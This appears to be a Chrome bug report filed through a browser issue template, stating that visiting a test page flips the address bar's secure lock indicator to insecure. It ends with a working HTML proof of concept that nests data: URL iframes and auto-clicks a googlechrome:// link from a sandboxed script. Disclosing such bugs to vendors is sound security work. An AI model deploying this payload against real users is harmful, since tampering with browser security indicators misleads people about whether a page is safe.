UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36

Steps to reproduce the problem:
1. Go to https://vuln.shhnjk.com/super_secure.html

What is the expected behavior?
Nothing happens.

What went wrong?
Secure lock on address bar turns into insecure. Not sure why this is happening.

Did this work before? N/A 

Chrome version: 65.0.3325.162  Channel: stable
OS Version: OS X 10.13.3
Flash Version: 

PoC
<iframe src="data:text/html,<iframe sandbox='allow-scripts' src='data:text/html,<a href=googlechrome://test.shhnjk.com/alert.html>test</a><script>document.querySelector`a`.click()</script>'></iframe>"></iframe>